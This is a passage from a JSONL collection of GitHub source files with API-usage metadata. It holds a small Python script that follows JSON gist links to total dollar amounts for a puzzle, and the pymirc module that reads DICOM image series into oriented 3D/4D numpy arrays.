"line_number": 43, "usage_type": "call"}, {"api_name": "impy.gui", "line_number": 43, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 44, "usage_type": "call"}, {"api_name": "napari.run", "line_number": 44, "usage_type": "call"}, {"api_name": "inspect.Signature", "line_number": 47, "usage_type": "attribute"}, {"api_name": "ast.literal_eval", "line_number": 59, "usage_type": "call"}, {"api_name": "impy.ImgArray", "line_number": 67, "usage_type": "attribute"}, {"api_name": "inspect.signature", "line_number": 68, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 75, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 76, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 90, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 91, "usage_type": "name"}, {"api_name": "ast.literal_eval", "line_number": 100, "usage_type": "call"}, {"api_name": "impy.imread", "line_number": 116, "usage_type": "call"}, {"api_name": "impy.ImgArray", "line_number": 117, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 122, "usage_type": "call"}, {"api_name": "impy.__version__", "line_number": 129, "usage_type": "attribute"}]} +{"seq_id": "215769895", "text": "#!usr/bin/env python\n\nimport json\nimport urllib\nimport re\n\ntotal_sum = 0.0\ntransaction_no = 0\nvisited_links = set()\npattern = r\"[$]\\d*[\\.|\\,]\\d*\"\nreplacement = re.compile('\\,')\nfirst_link = (\"https://gist.githubusercontent.com/jorinvo/\"\n\t\t\t \"6f68380dd07e5db3cf5fd48b2465bb04/raw/\"\n\t\t\t \"c02b1e0b45ecb2e54b36e4410d0631a66d474323/\"\n\t\t\t \"fd0d929f-966f-4d1a-89cd-feee5a1c5347.json\")\n\ndef add_value_from_content(content):\n\tglobal total_sum\n\tfor match in re.findall(pattern, content):\n\t\tvalue = replacement.sub('.', match[1:])\n\t\tprint(\"Adding value: \" + value)\n\t\ttotal_sum += float(value)\n\ndef follow_link_and_get_value(link):\n\tglobal transaction_no, visited_links\n\tprint(\"Current sum: \" + str(total_sum))\n\tprint(\"Getting data from:\")\n\tprint(link)\n\tdata = urllib.urlopen(link).read()\n\toutput = json.loads(data)\n\tif output['id'] not in visited_links:\n\t\tvisited_links.add(output['id'])\n\t\tadd_value_from_content(output['content'])\n\t\ttransaction_no += 1\n\t\tprint(\"Transaction no: \" + str(transaction_no))\n\t\tfor link in output['links']:\n\t\t\tfollow_link_and_get_value(link)\n\ndef main():\n\tglobal total_sum\n\tfollow_link_and_get_value(first_link)\n\tprint(\"Final value is \" + str(total_sum))\n\nif __name__ == '__main__':\n\tmain()\n\t# data = urllib.urlopen(first_link).read()\n\t# output = json.loads(data)\n\t# print output\n", "repo_name": "SilanSurfer/Python", "sub_path": "FollowTheDirtyMoney/solution.py", "file_name": "solution.py", "file_ext": "py", "file_size_in_byte": 1297, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "re.compile", "line_number": 11, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 19, "usage_type": "call"}, {"api_name": "urllib.urlopen", "line_number": 29, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 30, "usage_type": "call"}]} +{"seq_id": "4948639339", "text": "import os\nimport numpy as np\nimport scipy.ndimage\nimport glob\nimport warnings\n\nimport pydicom as dicom\n\n#--------------------------------------------------------------\n\nclass DicomVolume:\n \"\"\"get 3D or 4D numpy arrays from a list of 2D dicom files\n\n Parameters\n ----------\n filelist : list or str\n either:\n (1) a list of 2d dicom files containing the image data of a 3D/4D dicom series\n (2) a string containing a pattern passed to glob.glob to generate the file list in (1)\n\n dicomlist: list of pydicom FileDatasets\n instead of specifing filelist, the list of pydicom FileDatasets can also be\n given directly. In this case filelist must not be given!\n\n fallback_series_type : 2 element tuple\n series type to use if not given in the header as tag SeriesType.\n Valid values for the 1st element are: \"STATIC\", \"DYNAMIC\", \"GATED\", \"WHOLE BODY\"\n Valid values for the 2nd element are: \"IMAGE\", \"REPROJECTION\"\n\n verbose: bool\n print verbose output\n\n Note\n ----\n The aim of this class is to get 3D/4D numpy arrays from a set of 2D dicom files of a dicom series\n in defined orientation (LPS). \n\n Example\n -------\n dcm_vol = DicomVolume('mydicom_dir/*.dcm')\n img_arr = dcm_vol.get_data()\n img_aff = dcm_vol.affine\n dcm_hdr = dcm_vol.firstdcmheader\n \"\"\"\n def __init__(self, filelist = None, dicomlist= None, fallback_series_type = ('STATIC','IMAGE'), verbose = True):\n \n self.verbose = verbose\n \n if isinstance(filelist,list): self.filelist = filelist\n elif isinstance(filelist,str): self.filelist = glob.glob(filelist)\n else: self.filelist = None\n\n self.dicomlist = dicomlist\n\n # throw error if neither filelist nor dicomlist are given\n if (self.filelist is None) and (self.dicomlist is None):\n raise InputError('Either filelist or dicomlist must be given as input') \n\n # throw error if both filelist and dicomlist are given\n if (self.filelist is not None) and (self.dicomlist is not None):\n raise InputError('Either filelist or dicomlist must be given as input') \n\n # attach the first dicom header to the object\n if self.filelist is not None:\n self.firstdcmheader = dicom.read_file(self.filelist[0])\n else: \n self.firstdcmheader = self.dicomlist[0]\n\n # the extra check if the dimension of the pixel array is bigger than 2 is needed\n # because there are GE CT with erroneouly contain NumberOfFrames in classical slice by\n # slice dicom files\n if ('NumberOfFrames' in self.firstdcmheader) and (self.firstdcmheader.pixel_array.ndim > 2):\n # case of multi slice data (3d array in 1 dicom file\n # getting the ImageOrientationPatient attribute is not trivial\n # since it is stored in different tags by different vendors\n\n if 'DetectorInformationSequence' in self.firstdcmheader: \n # this is for multi slice data of the Siemens symbia spect\n iop = self.firstdcmheader.DetectorInformationSequence[0].ImageOrientationPatient\n else:\n try:\n # this is for multi slice data of molecubes\n iop = self.firstdcmheader.SharedFunctionalGroupsSequence[0].PlaneOrientationSequence[0].ImageOrientationPatient\n except AttributeError:\n # this is for multi slice data from PMOD\n try:\n iop = self.firstdcmheader.PerFrameFunctionalGroupsSequence[0].PlaneOrientationSequence[0].ImageOrientationPatient\n except AttributeError:\n # this is for multi slice data from RayStation\n iop = self.firstdcmheader.ImageOrientationPatient\n\n self.x = np.array(iop[:3], dtype = float) \n self.y = np.array(iop[3:], dtype = float) \n\n # set member variable that shows whether data has been read in\n self.read_all_dcms = True\n \n else:\n self.x = np.array(self.firstdcmheader.ImageOrientationPatient[0:3], dtype = float) \n self.y = np.array(self.firstdcmheader.ImageOrientationPatient[3:] , dtype = float) \n\n # set member variable that shows whether data has been read in\n self.read_all_dcms = False\n\n self.n = np.cross(self.x,self.y)\n\n # get the row and column pixelspacing \n if 'PixelSpacing' in self.firstdcmheader:\n self.pixelspacing = np.array(self.firstdcmheader.PixelSpacing, dtype = float) \n else:\n self.pixelspacing = np.array(self.firstdcmheader.SharedFunctionalGroupsSequence[0].PixelMeasuresSequence[0].PixelSpacing)\n \n self.dr = self.pixelspacing[0]\n self.dc = self.pixelspacing[1]\n\n # approximately transform slices in patient coord. system\n self.normaxis = np.argmax(np.abs(self.n))\n self.normdir = np.sign(self.n[self.normaxis])\n self.rowaxis = np.argmax(np.abs(self.x))\n self.rowdir = np.sign(self.x[self.rowaxis])\n self.colaxis = np.argmax(np.abs(self.y))\n self.coldir = np.sign(self.y[self.colaxis])\n\n # read the number of frames (time slices)\n if 'NumberOfTimeSlices' in self.firstdcmheader: self.NumTimeSlices = self.firstdcmheader.NumberOfTimeSlices\n else: self.NumTimeSlices = 1\n\n\n # get the dicom series type to see whether we have a static or dynamic acq.\n if \"SeriesType\" in self.firstdcmheader:\n self.series_type = self.firstdcmheader.SeriesType\n else:\n self.series_type = dicom.multival.MultiValue(str, fallback_series_type)\n warnings.warn(f'Cannot find SeriesType in first dicom header. Setting it to {fallback_series_type}')\n\n #------------------------------------------------------------------------------------------------------\n def reorient_volume(self, patvol):\n \"\"\"reorient the raw dicom volume to LPS orientation\n\n Parameters\n ----------\n patvol : 3d numpy array\n\n Returns\n -------\n 3d numpy array\n reoriented numpy array in LPS orientation\n \"\"\"\n\n # check the directions of the norm, col and row dir and revert some axis if necessary\n if(self.normdir == -1):\n patvol = patvol[::-1,:,:]\n self.offset = self.offset + (self.n0 - 1)*self.v0\n self.v0 = -1.0*self.v0\n if(self.coldir == -1):\n patvol = patvol[:,::-1,:]\n self.offset = self.offset + (self.n1 - 1)*self.v1\n self.v1 = -1.0*self.v1\n if(self.rowdir == -1):\n patvol = patvol[:,:,::-1]\n self.offset = self.offset + (self.n2 - 1)*self.v2\n self.v2 = -1.0*self.v2\n\n # now we want to make sure that the 0, 1, 2 axis of our 3d volume corrrespond\n # to the x, y, z axis in the patient coordinate system\n # therefore we might need to swap some axis\n if(self.normaxis == 0 and self.colaxis == 1 and self.rowaxis == 2):\n self.yvoxsize, self.zvoxsize = self.dr, self.dc\n self.xvoxsize = self.sliceDistance\n elif(self.normaxis == 0 and self.colaxis == 2 and self.rowaxis == 1):\n if self.verbose: print('--- swapping axis 1 and 2')\n patvol = np.swapaxes(patvol,1,2) \n self.v1, self.v2 = self.v2, self.v1\n self.zvoxsize, self.yvoxsize = self.dr, self.dc\n self.xvoxsize = self.sliceDistance\n elif(self.normaxis == 1 and self.colaxis == 0 and self.rowaxis == 2):\n if self.verbose: print('--- swapping axis 0 and 1')\n patvol = np.swapaxes(patvol,0,1) \n self.v0, self.v1 = self.v1, self.v0\n self.xvoxsize, self.zvoxsize = self.dr, self.dc\n self.yvoxsize = self.sliceDistance\n elif(self.normaxis == 1 and self.colaxis == 2 and self.rowaxis == 0):\n if self.verbose: print('--- swapping axis 0 and 1')\n if self.verbose: print('--- swapping axis 0 and 2')\n patvol = np.swapaxes(np.swapaxes(patvol,0,1),0,2) \n self.v0, self.v1 = self.v1, self.v0\n self.v0, self.v2 = self.v2, self.v0\n self.zvoxsize, self.xvoxsize = self.dr, self.dc\n self.yvoxsize = self.sliceDistance\n elif(self.normaxis == 2 and self.colaxis == 1 and self.rowaxis == 0):\n if self.verbose: print('--- swapping axis 0 and 2')\n patvol = np.swapaxes(patvol,0,2) \n self.v0, self.v2 = self.v2, self.v0\n self.yvoxsize, self.xvoxsize = self.dr, self.dc\n self.zvoxsize = self.sliceDistance\n elif(self.normaxis == 2 and self.colaxis == 0 and self.rowaxis == 1):\n if self.verbose: print('--- swapping axis 0 and 2')\n if self.verbose: print('--- swapping axis 0 and 1')\n patvol = np.swapaxes(np.swapaxes(patvol,0,2),0,1) \n self.v0, self.v2 = self.v2, self.v0\n self.v0, self.v1 = self.v1, self.v0\n self.xvoxsize, self.yvoxsize = self.dr, self.dc\n self.zvoxsize = self.sliceDistance\n\n # update the volume dimensions \n self.n0, self.n1, self.n2 = patvol.shape\n\n return patvol\n\n #------------------------------------------------------------------------------------------------------\n def get_data(self, frames = None):\n \"\"\"get the actual 3D or 4D image data \n\n Parameters\n ----------\n frames : list of ints, optional\n if the data is 4D this can be a list of frame number to be read\n the default None means read all frames\n\n Note\n ----\n This is a high level function that call the underlying function for\n reading 3D, 4D or multislice data sets.\n\n Returns\n -------\n a 3D or 4D numpy array\n array containing the data\n \"\"\"\n if not self.read_all_dcms:\n if self.verbose: print('Analyzing dicom headers')\n\n if self.dicomlist is None:\n self.dicomlist = [dicom.read_file(x) for x in self.filelist] \n\n # check if some images have a SOPclassUID that does not belong to images and drop them\n # SOPClassUID '1.2.840.10008.5.1.4.1.1.66' means Raw Data Storage\n # '1.2.840.10008.5.1.4.1.1.66.x' for x in (1,2,3,4) are also not images\n self.dicomlist = [x for x in self.dicomlist if not x.SOPClassUID.startswith('1.2.840.10008.5.1.4.1.1.66')]\n\n self.read_all_dcms = True\n\n self.TemporalPositionIdentifiers = []\n\n # to figure out which 2d dicom file belongs to which time frame\n # we use the TemporalPositionIdentifier (not very common) or the acquisition date time\n for dcm in self.dicomlist:\n if (dcm.Modality == 'MR') and ('AcquisitionNumber' in dcm):\n self.TemporalPositionIdentifiers.append(dcm.AcquisitionNumber)\n elif (dcm.Modality == 'MR') and ('EchoNumbers' in dcm):\n self.TemporalPositionIdentifiers.append(dcm.EchoNumbers)\n elif 'TemporalPositionIdentifier' in dcm:\n self.TemporalPositionIdentifiers.append(dcm.TemporalPositionIdentifier)\n else:\n if 'AcquisitionDate' in dcm:\n acq_d = dcm.AcquisitionDate\n else:\n acq_d = '19700101'\n\n if 'AcquisitionTime' in dcm:\n acq_t = dcm.AcquisitionTime\n else:\n acq_t = '000000'\n\n # if the trigger time is in the data we add it to the acq. time\n # this is needed to read GE gated PET data\n if 'TriggerTime' in dcm:\n acq_t += ('.' + str(dcm.TriggerTime)) \n\n self.TemporalPositionIdentifiers.append(acq_d + acq_t)\n\n self.TemporalPositionIdentifiers = np.array(self.TemporalPositionIdentifiers)\n self.uniq_TemporalPositionIdentifiers = np.unique(self.TemporalPositionIdentifiers)\n self.uniq_TemporalPositionIdentifiers.sort()\n\n # if an MR data contains multiple echos, we interpret it as dynamic data\n if ((self.dicomlist[0].Modality == 'MR') and (len(self.uniq_TemporalPositionIdentifiers) > 1)):\n self.series_type[0] = 'DYNAMIC'\n warnings.warn(f'Found multiple Temporal Positions in MR data set. Setting series type to DYNAMIC')\n\n # read static image\n if (self.series_type[0] == 'STATIC') or (self.series_type[0] == 'WHOLE BODY'):\n self.nframes = 1\n\n # the extra check if the dimension of the pixel array is bigger than 2 is needed\n # because there are GE CT with erroneouly contain NumberOfFrames in classical slice by\n # slice dicom files\n if 'NumberOfFrames' in self.firstdcmheader and (self.firstdcmheader.pixel_array.ndim > 2):\n # read multi slice data (the whole 3d volume is in one dicom file)\n if self.filelist is not None:\n data = self.get_multislice_3d_data(dicom.read_file(self.filelist[0]))\n else:\n data = self.get_multislice_3d_data(self.dicomlist[0])\n else:\n # read 3d data stored in multiple 2d dicom files\n data = self.get_3d_data(self.dicomlist)\n\n # read dynamic / gated images\n else: \n self.nframes = len(self.uniq_TemporalPositionIdentifiers)\n if frames is None: frames = np.arange(self.nframes) + 1\n\n data = []\n self.AcquisitionTimes = np.empty(self.nframes, dtype = object)\n self.AcquisitionDates = np.empty(self.nframes, dtype = object)\n\n for frame in frames:\n if self.verbose: print('Reading frame ' + str(frame) + ' / ' + str(self.nframes))\n inds = np.where(self.TemporalPositionIdentifiers == self.uniq_TemporalPositionIdentifiers[frame - 1])[0]\n data.append(self.get_3d_data([self.dicomlist[i] for i in inds]))\n\n # add the acuqisiton date and time of every frame\n if 'AcquisitionTime' in self.dicomlist[inds[0]]: \n self.AcquisitionTimes[frame - 1] = self.dicomlist[inds[0]].AcquisitionTime\n if 'AcquisitionDate' in self.dicomlist[inds[0]]: \n self.AcquisitionDates[frame - 1] = self.dicomlist[inds[0]].AcquisitionDate\n\n data = np.squeeze(np.array(data))\n\n return data \n \n #------------------------------------------------------------------------------------------------------\n def get_multislice_3d_data(self, dcm_data):\n \"\"\"get data from a multislice 3D dicom file (as e.g. used in SPECT or molecubes dicoms)\n\n Parameters\n ----------\n dcm_data : pydicom FileDataset \n as returned by pydicom.read_file\n\n Returns\n -------\n a 3D numpy array\n \"\"\"\n pixelarray = dcm_data.pixel_array.copy()\n\n self.Nslices, self.Nrows, self.Ncols = pixelarray.shape\n\n if 'RescaleSlope' in dcm_data: \n pixelarray = pixelarray * dcm_data.RescaleSlope \n elif 'SharedFunctionalGroupsSequence' in dcm_data:\n try:\n # molecubes multi slice data\n pixelarray = pixelarray * float(dcm_data.SharedFunctionalGroupsSequence[0].PixelValueTransformationSequence[0].RescaleSlope)\n except AttributeError:\n # pmod multi slice data \n pixelarray = pixelarray * float(dcm_data.PerFrameFunctionalGroupsSequence[0].PixelValueTransformationSequence[0].RescaleSlope)\n \n\n if 'RescaleIntercept' in dcm_data: \n pixelarray = pixelarray + dcm_data.RescaleIntercept\n elif 'SharedFunctionalGroupsSequence' in dcm_data:\n try:\n # molecubes multi slice data\n pixelarray = pixelarray + float(dcm_data.SharedFunctionalGroupsSequence[0].PixelValueTransformationSequence[0].RescaleIntercept)\n except AttributeError:\n # pmod multi slice data \n pixelarray = pixelarray + float(dcm_data.PerFrameFunctionalGroupsSequence[0].PixelValueTransformationSequence[0].RescaleIntercept)\n\n if 'SliceThickness' in dcm_data:\n self.sliceDistance = float(dcm_data.SliceThickness)\n else:\n # PMOD multi slice data\n self.sliceDistance = float(dcm_data.SharedFunctionalGroupsSequence[0].PixelMeasuresSequence[0].SliceThickness)\n \n self.n0, self.n1, self.n2 = pixelarray.shape\n\n # generate the directional vectors and the offset\n self.v1 = np.array([self.y[0]*self.dr,\n self.y[1]*self.dr,\n self.y[2]*self.dr])\n\n self.v2 = np.array([self.x[0]*self.dc,\n self.x[1]*self.dc,\n self.x[2]*self.dc])\n\n self.v0 = np.cross(self.v2, self.v1)\n self.v0 /= np.sqrt((self.v0**2).sum()) \n self.v0 *= self.sliceDistance \n\n # heuristic modification of v0 and normdir if SpacingBetweenSlices is negative\n # tested on Siemens SPECT data\n if 'SpacingBetweenSlices' in dcm_data:\n if float(dcm_data.SpacingBetweenSlices) < 0:\n self.v0 *= -1\n self.normdir *= -1\n\n ipp = None\n\n if 'DetectorInformationSequence' in dcm_data:\n if 'ImagePositionPatient' in dcm_data.DetectorInformationSequence[0]:\n ipp = dcm_data.DetectorInformationSequence[0].ImagePositionPatient\n self.offset = np.array(ipp, dtype = float)\n elif 'PerFrameFunctionalGroupsSequence' in dcm_data:\n if 'PlanePositionSequence' in dcm_data.PerFrameFunctionalGroupsSequence[0]:\n # this is for molecubes dicom data\n ipp = dcm_data.PerFrameFunctionalGroupsSequence[0].PlanePositionSequence[0].ImagePositionPatient\n self.offset = np.array(ipp, dtype = float)\n elif 'ImagePositionPatient' in dcm_data:\n # this is for RayStation dicom data\n ipp = dcm_data.ImagePositionPatient\n self.offset = np.array(ipp, dtype = float)\n\n if ipp is None:\n self.offset = np.zeros(3)\n warnings.warn('Cannot find ImagePositionPatient in dicom header. Setting it to [0,0,0]')\n\n # reorient the patient volume to standard LPS orientation\n patvol = self.reorient_volume(pixelarray)\n\n self.voxsize = np.array([self.xvoxsize, self.yvoxsize, self.zvoxsize])\n\n self.affine = np.eye(4)\n self.affine[:3,0] = self.v0\n self.affine[:3,1] = self.v1\n self.affine[:3,2] = self.v2\n self.affine[:3,3] = self.offset\n\n\n return patvol\n \n\n #------------------------------------------------------------------------------------------------------\n def get_3d_data(self, dicomlist):\n \"\"\"get the 3D data from a list of dicom data sets\n\n Parameters\n ----------\n dicomframes : list \n list of dicom objects from pydicom\n\n Returns\n -------\n a 3D numpy array\n \"\"\"\n d = [self.distanceMeasure(x) for x in dicomlist]\n\n # sort the list according to the distance measure\n dicomlistsorted = [x for (y,x) in sorted(zip(d,dicomlist))]\n pixelarraylistsorted = [x.pixel_array for x in dicomlistsorted]\n\n # store the sorted list of SOPInstanceUIDs which is needed when writing RTstructs\n self.sorted_SOPClassUIDs = [x.SOPClassUID for x in dicomlistsorted]\n self.sorted_SOPInstanceUIDs = [x.SOPInstanceUID for x in dicomlistsorted]\n\n self.Nslices = len(dicomlistsorted)\n self.Nrows, self.Ncols = pixelarraylistsorted[0].shape\n\n if 'RescaleSlope' in dicomlistsorted[0]: \n RescaleSlopes = [float(x.RescaleSlope) for x in dicomlistsorted]\n else:\n RescaleSlopes = [1.0] * len(dicomlistsorted)\n\n if 'RescaleIntercept' in dicomlistsorted[0]: \n RescaleIntercepts = [float(x.RescaleIntercept) for x in dicomlistsorted]\n else:\n RescaleIntercepts = [0.0] * len(dicomlistsorted)\n \n # rescale the pixelarrays with the rescale slopes and intercepts\n for i in range(len(pixelarraylistsorted)): \n pixelarraylistsorted[i] = pixelarraylistsorted[i]*RescaleSlopes[i] + RescaleIntercepts[i]\n\n # get the first and last ImagePositionPatient vectors\n self.T1 = np.array(dicomlistsorted[0].ImagePositionPatient , dtype = float)\n self.TN = np.array(dicomlistsorted[-1].ImagePositionPatient, dtype = float)\n self.dT = self.T1 - self.TN\n\n # get the distance between the dicom slices\n self.sliceDistance = sorted(d)[1] - sorted(d)[0]\n \n # calculate the (x,y,z) offset of voxel [0,0,0] \n self.offset = 1.0*self.T1\n\n # now we calculate the direction vectors when moving 1 voxel along axis 0, 1, 2\n self.v0 = np.array([1.0*self.dT[0]/ (1 - self.Nslices),\n 1.0*self.dT[1]/ (1 - self.Nslices),\n 1.0*self.dT[2]/ (1 - self.Nslices)])\n\n self.v1 = np.array([self.y[0]*self.dr,\n self.y[1]*self.dr,\n self.y[2]*self.dr])\n\n self.v2 = np.array([self.x[0]*self.dc,\n self.x[1]*self.dc,\n self.x[2]*self.dc])\n\n # generate a 3d volume from the sorted list of 2d pixelarrays\n patvol = np.array(pixelarraylistsorted) \n self.n0, self.n1, self.n2 = patvol.shape\n\n # reorient the patient volume to standard LPS orientation\n patvol = self.reorient_volume(patvol)\n\n self.voxsize = np.array([self.xvoxsize, self.yvoxsize, self.zvoxsize])\n\n # create affine matrix\n self.affine = np.eye(4)\n self.affine[:3,0] = self.v0\n self.affine[:3,1] = self.v1\n self.affine[:3,2] = self.v2\n self.affine[:3,3] = self.offset\n\n return patvol\n\n #--------------------------------------------------------------------------\n def get_3d_overlay_img(self, tag = 0x6002):\n \"\"\" Read dicom overlay information and convert it to a binary image.\n \n Parameters\n ----------\n tag : int in hex, optional\n overlay tag to use, default 0x6002 \n\n Note\n ----\n (1) up to 8 overlays can be saved in the tags 0x6000, 0x6002, 0x6004, 0x6006, 0x6008, 0x600a, 0x600c, 0x600e\n\n (2) the generation of the binary label image was only tested for transaxial CT overlays so far\n\n (3) so far it only works for negative origins\n\n Returns\n -------\n 3d numpy array\n a binary array containing the overlay information\n \"\"\"\n # up to know we assume that the input dicom list is a 3D volume\n # so we use all dicom files as input for the overlay\n\n if not self.read_all_dcms:\n if self.dicomlist is None:\n self.dicomlist = [dicom.read_file(x) for x in self.filelist] \n\n self.read_all_dcms = True\n\n d = [self.distanceMeasure(x) for x in self.dicomlist]\n\n nrows = self.firstdcmheader.Rows\n ncols = self.firstdcmheader.Columns\n\n # sort the list according to the distance measure\n dicomlistsorted = [x for (y,x) in sorted(zip(d,self.dicomlist))]\n\n overlay_imgs = []\n \n for dcm in dicomlistsorted: \n if [tag,0x3000] in dcm: \n # read the number of rows and columns for the overlay image\n orows = dcm[tag,0x0010].value \n ocols = dcm[tag,0x0011].value \n\n # read the overlay origin\n orig = dcm[tag,0x0050].value\n\n # read the overlay data\n overlay = dcm[tag,0x3000].value\n\n # the bit order of np.unpackbits is not the one of the dicom overlay standard\n # which is why we need to reverse it (middle reshape)\n tmp = np.unpackbits(np.frombuffer(overlay, dtype = 'uint8')).reshape(-1,8)[:,::-1].flatten()[:(orows*ocols)].reshape(orows,ocols)\n \n # crop the image to the correct dimensions\n # if the origin is negative, we have to crop the image\n if orig[0] < 0:\n tmp = tmp[-orig[0]:,:] \n\n if orig[1] < 0:\n tmp = tmp[:,-orig[1]:] \n\n r = min(nrows,tmp.shape[0])\n c = min(ncols,tmp.shape[1])\n\n tmp2 = np.zeros((nrows,ncols), dtype = 'uint8')\n tmp2[:r,:c] = tmp[:r,:c]\n \n #tmp = tmp[-orig[0]:(-orig[0]+nrows),-orig[1]:(-orig[1]+ncols)]\n\n overlay_imgs.append(tmp2)\n else:\n overlay_imgs.append(np.zeros((nrows,ncols), dtype = 'uint8'))\n\n return np.swapaxes(np.array(overlay_imgs),0,2)\n\n #--------------------------------------------------------------------------\n def distanceMeasure(self,dicomslice):\n # see http://nipy.org/nibabel/dicom/dicom_orientation.html\n # d = position vector in the direction of the normal vector\n T = np.array(dicomslice.ImagePositionPatient, dtype = float)\n d = np.dot(T,self.n)\n return d\n\n #def setAttibute(self, attribute, value):\n # for dcm in dicomlist: setattr(dcm,attribute,value) \n # for dcm2 in dicomlistsorted: setattr(dcm2,attribute,value)\n\n #def write(self):\n # for i in xrange(len(self.filelist)):\n # if self.verbose: print(\"\\nWriting dicom file: \", self.filelist[i])\n # dicom.write_file(self.filelist[i],dicomlist[i])\n\n################################################################################\n################################################################################\n################################################################################\n\nclass DicomSearch:\n \n def __init__(self, path, pattern = '*.dcm'):\n self.path = path\n self.pattern = pattern \n self.allfiles = glob.glob(os.path.join(self.path,self.pattern)) \n\n self.UIDs = []\n\n # first read all dicom images to get the UIDs\n for fname in self.allfiles:\n dicomfile = dicom.read_file(fname, force = True)\n if 'SeriesInstanceUID' not in dicomfile:\n continue\n self.UIDs.append(dicomfile.SeriesInstanceUID)\n dicomfile.clear()\n \n # now lets remove all duplicates\n self.uniqueUIDs = list(set(self.UIDs))\n\n self.inds = []\n self.files = []\n self.SeriesDescription = []\n self.AcquisitionDate = []\n self.AcquisitionTime = []\n self.PatientName = []\n self.Modality = []\n\n # now read 1 dicom file of each unique UID and extract some usefule information\n for uid in self.uniqueUIDs:\n self.inds.append([i for i in range(len(self.UIDs)) if self.UIDs[i] == uid])\n self.files.append([self.allfiles[x] for x in self.inds[-1]])\n \n dicomfile = dicom.read_file(self.files[-1][0])\n if 'SeriesDescription' in dicomfile : self.SeriesDescription.append(dicomfile.SeriesDescription)\n else : self.SeriesDescription.append(None)\n if 'AcquisitionDate' in dicomfile : self.AcquisitionDate.append(dicomfile.AcquisitionDate)\n else : self.AcquisitionDate.append(None)\n if 'AcquisitionTime' in dicomfile : self.AcquisitionTime.append(dicomfile.AcquisitionTime)\n else : self.AcquisitionTime.append(None)\n if 'PatientName' in dicomfile : self.PatientName.append(dicomfile.PatientName)\n else : self.PatientName.append(None)\n if 'Modality' in dicomfile : self.Modality.append(dicomfile.Modality)\n else : self.Modality.append(None)\n\n dicomfile.clear()\n", "repo_name": "gschramm/pymirc", "sub_path": "pymirc/fileio/read_dicom.py", "file_name": "read_dicom.py", "file_ext": "py", "file_size_in_byte": 26242, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "86", "api": [{"api_name": "glob.glob", "line_number": 50, "usage_type": "call"}, {"api_name": "pydicom.read_file", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.cross", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.sign", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.sign", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.sign", "line_number": 122, "usage_type": "call"}, {"api_name": "pydicom.multival.MultiValue", "line_number": 133, "usage_type": "call"}, {"api_name": "pydicom.multival", "line_number": 133, "usage_type": "attribute"}, {"api_name": "warnings.warn", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.swapaxes", "line_number": 172, "usage_type": "call"}, {"api_name": "numpy.swapaxes", "line_number": 178, "usage_type": "call"}, {"api_name": "numpy.swapaxes", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.swapaxes", "line_number": 192, "usage_type": "call"}, {"api_name": "numpy.swapaxes", "line_number": 199, "usage_type": "call"}, {"api_name": "pydicom.read_file", "line_number": 234, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 272, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 273, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 279, "usage_type": "call"}, {"api_name": "pydicom.read_file", "line_number": 291, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 301, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 304, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 305, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 309, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 318, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 318, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 369, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 373, "usage_type": "call"}, {"api_name": "numpy.cross", "line_number": 377, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 378, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 393, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 398, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 402, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 405, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 406, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 411, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 413, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 464, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 465, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 475, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 479, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 483, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 488, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 494, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 497, "usage_type": "call"}, {"api_name": "pydicom.read_file", "line_number": 532, "usage_type": "call"}, {"api_name": "numpy.unpackbits", "line_number": 560, "usage_type": "call"}, {"api_name": "numpy.frombuffer", "line_number": 560, "usage_type": "call"}, {"api_name": "numpy.zeros", 